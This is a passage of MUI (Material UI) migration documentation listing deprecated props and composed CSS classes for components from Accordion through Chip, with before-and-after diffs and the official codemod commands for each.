`slots.transition`:\n\n```diff\n <Accordion\n-  TransitionComponent={CustomTransition}\n+  slots={{ transition: CustomTransition }}\n />\n```\n\n### TransitionProps\n\nThe Accordion's `TransitionProps` prop was deprecated in favor of `slotProps.transition`:\n\n```diff\n <Accordion\n-  TransitionProps={{ unmountOnExit: true }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n />\n```\n\n## AccordionSummary\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#accordion-summary-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/accordion-summary-classes <path>\n```\n\n### .MuiAccordionSummary-contentGutters\n\nThe AccordionSummary's `.MuiAccordionSummary-contentGutters` class was deprecated in favor of the `.MuiAccordionSummary-gutters` and `.MuiAccordionSummary-content` classes.\nBear in mind that the `.MuiAccordionSummary-gutters` class is applied to the component's root, whereas the `.MuiAccordionSummary-contentGutters` and `.MuiAccordionSummary-content` classes are applied to the content element.\n\n```diff\n-.MuiAccordionSummary-root .MuiAccordionSummary-contentGutters\n+.MuiAccordionSummary-root.MuiAccordionSummary-gutters .MuiAccordionSummary-content\n```\n\n```diff\n import { accordionSummaryClasses } from '@mui/material/AccordionSummary';\n\n MuiAccordionSummary: {\n   styleOverrides: {\n     root: {\n-      [`& .${accordionSummaryClasses.contentGutters}`]: {\n+      [`&.${accordionSummaryClasses.gutters} .${accordionSummaryClasses.content}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## Alert\n\nUse the [alert-props](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#alert-props) and [alert-classes](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#alert-classes) codemods below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/alert-props <path>\nnpx @mui/codemod@latest deprecations/alert-classes <path>\n```\n\n### components\n\nThe Alert's `components` prop was deprecated in favor of `slots`:\n\n```diff\n <Alert\n-  components={{ CloseButton: CustomButton }}\n+  slots={{ closeButton: CustomButton }}\n />\n```\n\n### componentsProps\n\nThe Alert's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <Alert\n-  componentsProps={{ closeButton: { id: 'close-id' } }}\n+  slotProps={{ closeButton: { id: 'close-id' } }}\n />\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the `severity` (or `variant`) and `color` prop values were removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiAlert-standardSuccess\n+.MuiAlert-standard.MuiAlert-colorSuccess\n-.MuiAlert-standardInfo\n+.MuiAlert-standard.MuiAlert-colorInfo\n-.MuiAlert-standardWarning\n+.MuiAlert-standard.MuiAlert-colorWarning\n-.MuiAlert-standardError\n+.MuiAlert-standard.MuiAlert-colorError\n-.MuiAlert-outlinedSuccess\n+.MuiAlert-outlined.MuiAlert-colorSuccess\n-.MuiAlert-outlinedInfo\n+.MuiAlert-outlined.MuiAlert-colorInfo\n-.MuiAlert-outlinedWarning\n+.MuiAlert-outlined.MuiAlert-colorWarning\n-.MuiAlert-outlinedError\n+.MuiAlert-outlined.MuiAlert-colorError\n-.MuiAlert-filledSuccess\n+.MuiAlert-filled.MuiAlert-colorSuccess\n-.MuiAlert-filledInfo\n+.MuiAlert-filled.MuiAlert-colorInfo\n-.MuiAlert-filledWarning\n+.MuiAlert-filled.MuiAlert-colorWarning\n-.MuiAlert-filledError\n+.MuiAlert-filled.MuiAlert-colorError\n```\n\n```diff\n import { alertClasses } from '@mui/material/Alert';\n\n MuiAlert: {\n   styleOverrides: {\n     root: {\n-      [`&.${alertClasses.standardSuccess}`]: {\n+      [`&.${alertClasses.standard}.${alertClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.standardInfo}`]: {\n+      [`&.${alertClasses.standard}.${alertClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.standardWarning}`]: {\n+      [`&.${alertClasses.standard}.${alertClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.standardError}`]: {\n+      [`&.${alertClasses.standard}.${alertClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.outlinedSuccess}`]: {\n+      [`&.${alertClasses.outlined}.${alertClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.outlinedInfo}`]: {\n+      [`&.${alertClasses.outlined}.${alertClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.outlinedWarning}`]: {\n+      [`&.${alertClasses.outlined}.${alertClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.outlinedError}`]: {\n+      [`&.${alertClasses.outlined}.${alertClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.filledSuccess}`]: {\n+      [`&.${alertClasses.filled}.${alertClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.filledInfo}`]: {\n+      [`&.${alertClasses.filled}.${alertClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.filledWarning}`]: {\n+      [`&.${alertClasses.filled}.${alertClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.filledError}`]: {\n+      [`&.${alertClasses.filled}.${alertClasses.colorError}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## Autocomplete\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#autocomplete-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/autocomplete-props <path>\n```\n\n### \\*Component props\n\nAll of the Autocomplete's slot (`*Component`) props were deprecated in favor of equivalent `slots` and `slotProps` entries:\n\n```diff\n <Autocomplete\n-  PaperComponent={CustomPaperComponent}\n-  PopperComponent={CustomPopperComponent}\n-  ListboxComponent={CustomListboxComponent}\n+  slots={{\n+    paper: CustomPaperComponent,\n+    popper: CustomPopperComponent,\n+  }}\n+  slotProps={{\n+    listbox: {\n+      component: CustomListboxComponent,\n+    },\n+  }}\n />\n```\n\n:::warning\nThe listbox slot is a special case because `ListboxComponent` was implemented differently from the other `*Component` props, behaving similar to the `component` and `as` props.\nThe `slots.listbox` entry exists and you can use it to replace the component entirely, but if you want to keep `ListboxComponent`'s behavior which maintains the original listbox styles, you should use the `slotProps.listbox.component` entry.\n:::\n\n### \\*Props props\n\nAll of the Autocomplete's slot props (`*Props`) props were deprecated in favor of equivalent `slotProps` entries:\n\n```diff\n <Autocomplete\n-  ChipProps={CustomChipProps}\n-  ListboxProps={CustomListboxProps}\n+  slotProps={{\n+    chip: CustomChipProps,\n+    listbox: CustomListboxProps,\n+  }}\n />\n```\n\n### componentsProps\n\nThe Autocomplete's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <Autocomplete\n-  componentsProps={{\n-    clearIndicator: { width: 10 },\n-    paper: { width: 12 },\n-    popper: { width: 14 },\n-    popupIndicator: { width: 16 },\n+  slotProps={{\n+    clearIndicator: { width: 10 },\n+    paper: { width: 12 },\n+    popper: { width: 14 },\n+    popupIndicator: { width: 16 },\n   }}\n />\n```\n\n## Avatar\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#avatar-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/avatar-props <path>\n```\n\n### imgProps\n\nThe Avatar's `imgProps` prop was deprecated in favor of `slotProps.img`:\n\n```diff\n <Avatar\n-  imgProps={{\n-    onError: () => {},\n-    onLoad: () => {},\n+  slotProps={{\n+    img: {\n+      onError: () => {},\n+      onLoad: () => {},\n+    }\n   }}\n />;\n```\n\n## AvatarGroup\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#avatar-group-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/avatar-group-props <path>\n```\n\n### slotProps.additionalAvatar\n\nThe AvatarGroup's `slotProps.additionalAvatar` was deprecated in favor of `slotProps.surplus`:\n\n```diff\n <AvatarGroup\n   slotProps={{\n-    additionalAvatar: { color: 'red' },\n+    surplus: { color: 'red' },\n   }}\n >\n```\n\n```diff\n MuiAvatarGroup: {\n   defaultProps: {\n     slotProps: {\n-      additionalAvatar: { color: 'red' },\n+      surplus: { color: 'red' },\n     },\n   },\n },\n```\n\n### componentsProps\n\nThe AvatarGroup's `componentsProps` was deprecated in favor of `slotProps`:\n\n```diff\n <AvatarGroup\n-  componentsProps={{\n-    additionalAvatar: { color: 'red' },\n+  slotProps={{\n+    surplus: { color: 'red' },\n   }}\n >\n```\n\n```diff\n MuiAvatarGroup: {\n   defaultProps: {\n-    componentsProps: {\n-      additionalAvatar: { color: 'red' },\n+    slotProps: {\n+      surplus: { color: 'red' },\n     },\n   },\n },\n```\n\n## Backdrop\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#backdrop-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/backdrop-props <path>\n```\n\n### components\n\nThe Backdrop's `components` prop was deprecated in favor of `slots`:\n\n```diff\n <Backdrop\n-  components={{ root: CustomRoot }}\n+  slots={{ root: CustomRoot }}\n />\n```\n\n### componentsProps\n\nThe Backdrop's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <Backdrop\n-  componentsProps={{ root: { id: 'root-id' } }}\n+  slotProps={{ root: { id: 'root-id' } }}\n />\n```\n\n### TransitionComponent\n\nThe Backdrop's `TransitionComponent` prop was deprecated in favor of `slots.transition`:\n\n```diff\n <Backdrop\n-  TransitionComponent={CustomTransition}\n+  slots={{ transition: CustomTransition }}\n```\n\n## Badge\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#badge-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/badge-props <path>\n```\n\n### components\n\nThe Badge's `components` prop was deprecated in favor of `slots`:\n\n```diff\n <Badge\n-  components={{ root: CustomRoot }}\n+  slots={{ root: CustomRoot }}\n >\n```\n\n### componentsProps\n\nThe Badge's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <Badge\n-  componentsProps={{ root: { id: 'root-id' } }}\n+  slotProps={{ root: { id: 'root-id' } }}\n >\n```\n\n## Button\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#button-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/button-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes composing the `variant` and `color` prop values, as well as those composing the `variant` and `size` prop values, along with the `icon` size CSS classes, have been removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiButton-textInherit\n+.MuiButton-text.MuiButton-colorInherit\n-.MuiButton-textPrimary\n+.MuiButton-text.MuiButton-colorPrimary\n-.MuiButton-textSecondary\n+.MuiButton-text.MuiButton-colorSecondary\n-.MuiButton-textSuccess\n+.MuiButton-text.MuiButton-colorSuccess\n-.MuiButton-textError\n+.MuiButton-text.MuiButton-colorError\n-.MuiButton-textInfo\n+.MuiButton-text.MuiButton-colorInfo\n-.MuiButton-textWarning\n+.MuiButton-text.MuiButton-colorWarning\n-.MuiButton-outlinedInherit\n+.MuiButton-outlined.MuiButton-colorInherit\n-.MuiButton-outlinedPrimary\n+.MuiButton-outlined.MuiButton-colorPrimary\n-.MuiButton-outlinedSecondary\n+.MuiButton-outlined.MuiButton-colorSecondary\n-.MuiButton-outlinedSuccess\n+.MuiButton-outlined.MuiButton-colorSuccess\n-.MuiButton-outlinedError\n+.MuiButton-outlined.MuiButton-colorError\n-.MuiButton-outlinedInfo\n+.MuiButton-outlined.MuiButton-colorInfo\n-.MuiButton-outlinedWarning\n+.MuiButton-outlined.MuiButton-colorWarning\n-.MuiButton-containedInherit\n+.MuiButton-contained.MuiButton-colorInherit\n-.MuiButton-containedPrimary\n+.MuiButton-contained.MuiButton-colorPrimary\n-.MuiButton-containedSecondary\n+.MuiButton-contained.MuiButton-colorSecondary\n-.MuiButton-containedSuccess\n+.MuiButton-contained.MuiButton-colorSuccess\n-.MuiButton-containedError\n+.MuiButton-contained.MuiButton-colorError\n-.MuiButton-containedInfo\n+.MuiButton-contained.MuiButton-colorInfo\n-.MuiButton-containedWarning\n+.MuiButton-contained.MuiButton-colorWarning\n-.MuiButton-textSizeSmall\n+.MuiButton-text.MuiButton-sizeSmall\n-.MuiButton-textSizeMedium\n+.MuiButton-text.MuiButton-sizeMedium\n-.MuiButton-textSizeLarge\n+.MuiButton-text.MuiButton-sizeLarge\n-.MuiButton-outlinedSizeSmall\n+.MuiButton-outlined.MuiButton-sizeSmall\n-.MuiButton-outlinedSizeMedium\n+.MuiButton-outlined.MuiButton-sizeMedium\n-.MuiButton-outlinedSizeLarge\n+.MuiButton-outlined.MuiButton-sizeLarge\n-.MuiButton-containedSizeSmall\n+.MuiButton-contained.MuiButton-sizeSmall\n-.MuiButton-containedSizeMedium\n+.MuiButton-contained.MuiButton-sizeMedium\n-.MuiButton-containedSizeLarge\n+.MuiButton-contained.MuiButton-sizeLarge\n-.MuiButton-root .MuiButton-iconSizeSmall\n+.MuiButton-root.MuiButton-sizeSmall > .MuiButton-icon\n-.MuiButton-root .MuiButton-iconSizeMedium\n+.MuiButton-root.MuiButton-sizeMedium > .MuiButton-icon\n-.MuiButton-root .MuiButton-iconSizeLarge\n+.MuiButton-root.MuiButton-sizeLarge > .MuiButton-icon\n```\n\n```diff\n import { buttonClasses } from '@mui/material/Button';\n\n MuiButton: {\n   styleOverrides: {\n     root: {\n-      [`&.${buttonClasses.textInherit}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorInherit}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textPrimary}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSecondary}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSuccess}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textError}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textInfo}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textWarning}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedInherit}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorInherit}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedPrimary}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSecondary}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSuccess}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedError}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedInfo}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedWarning}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedInherit}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorInherit}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedPrimary}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSecondary}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSuccess}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedError}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedInfo}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedWarning}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSizeSmall}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.sizeSmall}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSizeMedium}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.sizeMedium}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSizeLarge}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.sizeLarge}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSizeSmall}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.sizeSmall}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSizeMedium}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.sizeMedium}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSizeLarge}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.sizeLarge}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSizeSmall}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.sizeSmall}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSizeMedium}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.sizeMedium}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSizeLarge}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.sizeLarge}`]: {\n         color: 'red',\n       },\n-      [`& .${buttonClasses.iconSizeSmall}`]: {\n+      [`&.${buttonClasses.sizeSmall} > .${buttonClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${buttonClasses.iconSizeMedium}`]: {\n+      [`&.${buttonClasses.sizeMedium} > .${buttonClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${buttonClasses.iconSizeLarge}`]: {\n+      [`&.${buttonClasses.sizeLarge} > .${buttonClasses.icon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## ButtonGroup\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#button-group-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/button-group-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the following props were deprecated:\n\n- `orientation` | `variant` and `grouped`\n- `color`, `variant` and `grouped`\n\nHere's how to migrate:\n\n```diff\n-.MuiButtonGroup-root .MuiButtonGroup-groupedHorizontal\n+.MuiButtonGroup-root.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedVertical\n+.MuiButtonGroup-root.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedText\n+.MuiButtonGroup-root.MuiButtonGroup-text > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedTextHorizontal\n+.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedTextVertical\n+.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedTextPrimary\n+.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedTextSecondary\n+.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlined\n+.MuiButtonGroup-root.MuiButtonGroup-outlined > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedHorizontal\n+.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedVertical\n+.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedPrimary\n+.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedSecondary\n+.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContained\n+.MuiButtonGroup-root.MuiButtonGroup-contained > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContainedHorizontal\n+.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContainedVertical\n+.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContainedPrimary\n+.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContainedSecondary\n+.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\n```\n\n```diff\n import { buttonGroupClasses } from '@mui/material/ButtonGroup';\n\n  MuiButtonGroup: {\n   styleOverrides: {\n     root: {\n-      [`& .${buttonGroupClasses.groupedHorizontal}`]: {\n+      [`&.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedVertical}`]: {\n+      [`&.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedText}`]: {\n+      [`&.${buttonGroupClasses.text} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedTextHorizontal}`]: {\n+      [`&.${buttonGroupClasses.text}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedTextVertical}`]: {\n+      [`&.${buttonGroupClasses.text}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedTextPrimary}`]: {\n+      [`&.${buttonGroupClasses.text}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedTextSecondary}`]: {\n+      [`&.${buttonGroupClasses.text}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedOutlined}`]: {\n+      [`&.${buttonGroupClasses.outlined} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedOutlinedHorizontal}`]: {\n+      [`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedOutlinedVertical}`]: {\n+      [`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedOutlinedPrimary}`]: {\n+      [`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedOutlinedSecondary}`]: {\n+      [`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedContained}`]: {\n+      [`&.${buttonGroupClasses.contained} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedContainedHorizontal}`]: {\n+      [`&.${buttonGroupClasses.contained}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedContainedVertical}`]: {\n+      [`&.${buttonGroupClasses.contained}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedContainedPrimary}`]: {\n+      [`&.${buttonGroupClasses.contained}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${buttonGroupClasses.groupedContainedSecondary}`]: {\n+      [`&.${buttonGroupClasses.contained}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n```\n\n## CardHeader\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#card-header-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/card-header-props <path>\n```\n\n### titleTypographyProps\n\nThe CardHeader's `titleTypographyProps` props were deprecated in favor of `slotProps.title`:\n\n```diff\n <CardHeader\n-  titleTypographyProps={titleTypographyProps}\n+  slotProps={{ title: titleTypographyProps }}\n />\n```\n\n### subheaderTypographyProps\n\nThe CardHeader's `subheaderTypographyProps` props were deprecated in favor of `slotProps.subheader`:\n\n```diff\n <CardHeader\n-  subheaderTypographyProps={subheaderTypographyProps}\n+  slotProps={{ subheader: subheaderTypographyProps }}\n />\n```\n\n## Chip\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#chip-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/chip-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the following props were deprecated:\n\n- `variant` | `clickable` | `deletable` and `color`\n- `avatar` and `color` | `size`\n- `icon` and `color` | `size`\n- `deleteIcon` and `color` | `size`\n- `label` and `size`\n\nHere's how to migrate:\n\n```diff\n-.MuiChip-clickableColorPrimary\n+.MuiChip-clickable.MuiChip-colorPrimary\n-.MuiChip-clickableColorSecondary\n+.MuiChip-clickable.MuiChip-colorSecondary\n-.MuiChip-deletableColorPrimary\n+.MuiChip-deletable.MuiChip-colorPrimary\n-.MuiChip-deletableColorSecondary\n+.MuiChip-deletable.MuiChip-colorSecondary\n-.MuiChip-outlinedPrimary\n+.MuiChip-outlined.MuiChip-colorPrimary\n-.MuiChip-outlinedSecondary\n+.MuiChip-outlined.MuiChip-colorSecondary\n-.MuiChip-filledPrimary\n+.MuiChip-filled.MuiChip-colorPrimary\n-.MuiChip-filledSecondary\n+.MuiChip-filled.MuiChip-colorSecondary\n-.MuiChip-root .MuiChip-avatarSmall\n+.MuiChip-root.MuiChip-sizeSmall > .MuiChip-avatar\n-.MuiChip-root .MuiChip-avatarMedium\n+.MuiChip-root.MuiChip-sizeMedium > .MuiChip-avatar\n-.MuiChip-root .MuiChip-avatarColorPrimary\n+.MuiChip-root.MuiChip-colorPrimary > .MuiChip-avatar\n-.MuiChip-root .MuiChip-avatarColorSecondary\n+.MuiChip-root.MuiChip-colorSecondary > .MuiChip-avatar\n-.MuiChip-root .MuiChip-iconSmall\n+.MuiChip-root.MuiChip-sizeSmall > .MuiChip-icon\n-.MuiChip-root .MuiChip-iconMedium\n+.MuiChip-root.MuiChip-sizeMedium > .MuiChip-icon\n-.MuiChip-root .MuiChip-iconColorPrimary\n+.MuiChip-root.MuiChip-colorPrimary > .MuiChip-icon\n-.MuiChip-root .MuiChip-iconColorSecondary\n+.MuiChip-root.MuiChip-colorSecondary > .MuiChip-icon\n-.MuiChip-root .MuiChip-labelSmall\n+.MuiChip-root.MuiChip-sizeSmall > .MuiChip-label\n-.MuiChip-root .MuiChip-labelMedium\n+.MuiChip-root.MuiChip-sizeMedium > .MuiChip-label\n-.MuiChip-root .MuiChip-deleteIconSmall\n+.MuiChip-root.MuiChip-sizeSmall > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconMedium\n+.MuiChip-root.MuiChip-sizeMedium > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconColorPrimary\n+.MuiChip-root.MuiChip-colorPrimary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconColorSecondary\n+.MuiChip-root.MuiChip-colorSecondary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconOutlinedColorPrimary\n+.MuiChip-root.MuiChip-outlined.MuiChip-colorPrimary > .MuiChip-deleteIcon\n-.MuiChip-root 